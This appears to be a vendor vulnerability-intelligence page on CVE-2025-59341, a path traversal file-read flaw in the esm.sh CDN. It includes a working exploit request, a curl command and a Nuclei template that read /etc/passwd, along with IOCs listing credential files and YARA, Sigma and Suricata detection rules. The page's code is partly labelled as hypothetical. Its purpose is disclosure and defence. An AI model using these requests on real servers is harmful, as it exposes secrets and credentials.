CVE-2025-59341
Executive Summary
CVE-2025-59341 is a high-severity Local File Inclusion (LFI) vulnerability affecting esm.sh, a no-build JavaScript CDN. The flaw resides in improper URL path handling within the server's router logic, specifically in server/router.go at line 1168. An unauthenticated attacker can craft a request with path traversal sequences (e.g., ../../../../etc/passwd) to read arbitrary files from the host filesystem. The vulnerability is confirmed in versions up to and including v136. No official patch has been released, but updating to a version later than v136 is recommended. The CVSS v3.1 score is 7.5 (High), with an EPSS score of 0.01458 (0.81 percentile), indicating low exploitation likelihood but high impact due to potential exposure of sensitive data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
esm.sh is a content delivery network for JavaScript modules, serving as a critical supply chain component for modern web development. An LFI vulnerability in the CDN itself could allow attackers to read configuration files, environment variables, or source code, potentially leading to credential theft or further compromise of downstream applications that depend on esm.sh. Organizations using esm.sh should treat this as a supply chain risk and monitor for updates or alternative CDN solutions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability is remotely exploitable without authentication, and successful exploitation can lead to disclosure of sensitive files such as /etc/passwd, application secrets, or source code.
Deep Dive & Mechanics
The vulnerability exists in the URL routing logic of esm.sh. The server processes requests by parsing the path and constructing file paths to serve JavaScript modules. Due to insufficient sanitization of path traversal sequences (e.g., ../), an attacker can escape the intended directory and read arbitrary files from the host filesystem.
The vulnerable code is located in server/router.go at line 1168. The server likely uses a function that concatenates user-supplied path segments with a base directory without validating for traversal patterns. For example, a request like:
GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
The server interprets the path traversal sequences and resolves the final path to /etc/passwd instead of the intended module directory. The raw=1 and module=1 parameters may bypass certain content-type checks, allowing the file to be returned as raw text.
Vulnerable vs. Patched Code
Vulnerable Code (v136 and earlier):
The vulnerable function in server/router.go likely performs path resolution without proper validation. A simplified example:
func serveModule(w http.ResponseWriter, r *http.Request) {
// Vulnerable: directly uses path without sanitization
path := r.URL.Path
// ... some processing ...
filePath := filepath.Join(baseDir, path)
// Serve file without checking for traversal
http.ServeFile(w, r, filePath)
}
Patched Code (hypothetical): A patched version would sanitize the path by removing traversal sequences or using a secure path resolution method:
func serveModule(w http.ResponseWriter, r *http.Request) {
path := r.URL.Path
// Sanitize: remove traversal sequences
cleanPath := filepath.Clean(path)
// Ensure the resolved path is within the base directory
fullPath := filepath.Join(baseDir, cleanPath)
if !strings.HasPrefix(fullPath, baseDir) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
http.ServeFile(w, r, fullPath)
}
Exploitation & Lab Setup
Red Team
Exploit Description:
The vulnerability can be exploited by sending a crafted HTTP GET request with path traversal sequences. The following request reads /etc/passwd:
GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
Host: target-esm.sh
Lab Setup:
- Deploy a vulnerable instance of esm.sh (v136) using Docker or a local server.
- Use
curlor a Python script to send the exploit request:
curl --path-as-is "http://localhost:8080/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1"
Expected Output:
The server returns the contents of /etc/passwd (e.g., root:x:0:0:root:/root:/bin/bash).
Automation with Nuclei: The provided Nuclei template can be used for automated scanning:
id: CVE-2025-59341
info:
name: esm.sh <= v136 - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.
impact: |
Attackers can read arbitrary files from the server, potentially exposing sensitive information.
remediation: |
Update esm.sh to a version later than 136 or the latest available version.
reference:
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r
- https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
- https://nvd.nist.gov/vuln/detail/CVE-2025-59341
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-59341
cwe-id: CWE-23
epss-score: 0.01458
epss-percentile: 0.80913
metadata:
verified: true
max-request: 2
vendor: esm-dev
product: esm.sh
shodan-query: http.html:"esm.sh"
tags: cve,cve2025,esm,lfi,traversal
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
condition: and
internal: true
- raw:
- |
GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
Blue Team
Detection:
- Monitor HTTP requests containing path traversal sequences (e.g.,
../,..\\,%2e%2e%2f). - Alert on requests to
/pr/or similar endpoints with suspicious path components. - Look for responses containing sensitive file patterns (e.g.,
root:,[boot loader],DATABASE_URL).
Hunting:
- Search web server logs for requests with multiple
../sequences. - Correlate with Shodan dork
http.html:"esm.sh"to identify potentially vulnerable instances.
Mitigation:
- Immediately update esm.sh to a version later than v136 if available.
- If patching is not possible, deploy a Web Application Firewall (WAF) rule to block path traversal patterns.
- Restrict file system access for the esm.sh process using containerization or chroot.
Indicators of Compromise (IOCs)
- HTTP Request Pattern:
GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 - Response Body Pattern:
root:x:0:0:root:/root:/bin/bash - Log Entry Example:
192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1" 200 1234 - File Paths Targeted:
/etc/passwd/etc/shadow/proc/self/environ/etc/nginx/nginx.conf/etc/ssl/private/ssl-cert-snakeoil.key
Detection Engineering
YARA Rule
rule CVE_2025_59341_esm_sh_LFI {
meta:
description = "Detects HTTP requests exploiting CVE-2025-59341 in esm.sh"
author = "Valters IT"
date = "2025-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-59341"
severity = "high"
strings:
$traversal = /\/pr\/[^\/]+\/[^\/]+@\d+\/(\.\.\/)+/
$passwd = "root:.*:0:0:"
$raw_param = "raw=1"
$module_param = "module=1"
condition:
$traversal and ($passwd or ($raw_param and $module_param))
}
Sigma Rule
title: CVE-2025-59341 - esm.sh Local File Inclusion
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests attempting to exploit LFI in esm.sh
author: Valters IT
date: 2025-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-59341
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/pr/'
- 'raw=1'
- 'module=1'
cs-uri-query|re: '\.\.\/'
condition: selection
falsepositives:
- Legitimate use of path traversal in other contexts (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-59341 - esm.sh Local File Inclusion Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/pr/"; http_uri; content:"raw=1"; http_uri; content:"module=1"; http_uri; pcre:"/\.\.\//"; sid:1000001; rev:1; reference:url,nvd.nist.gov/vuln/detail/CVE-2025-59341; priority:1;)
Remediation & Mitigation
- Immediate Action: Update esm.sh to a version later than v136. If no official patch is available, consider switching to an alternative CDN or implementing a workaround.
- Workaround: Deploy a WAF rule to block requests containing
../or..\\in the URI path, especially those targeting/pr/endpoints. - Long-term: Implement input validation and sanitization for all user-supplied path components. Use secure path resolution functions that prevent directory traversal.
- Monitoring: Enable logging and alerting for suspicious path traversal patterns. Review logs for any signs of exploitation.
- Containerization: Run esm.sh in a container with restricted file system access to limit the impact of LFI.
Valters IT
{/* [Security Hash: 342429CB9F8BE9785532433F] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.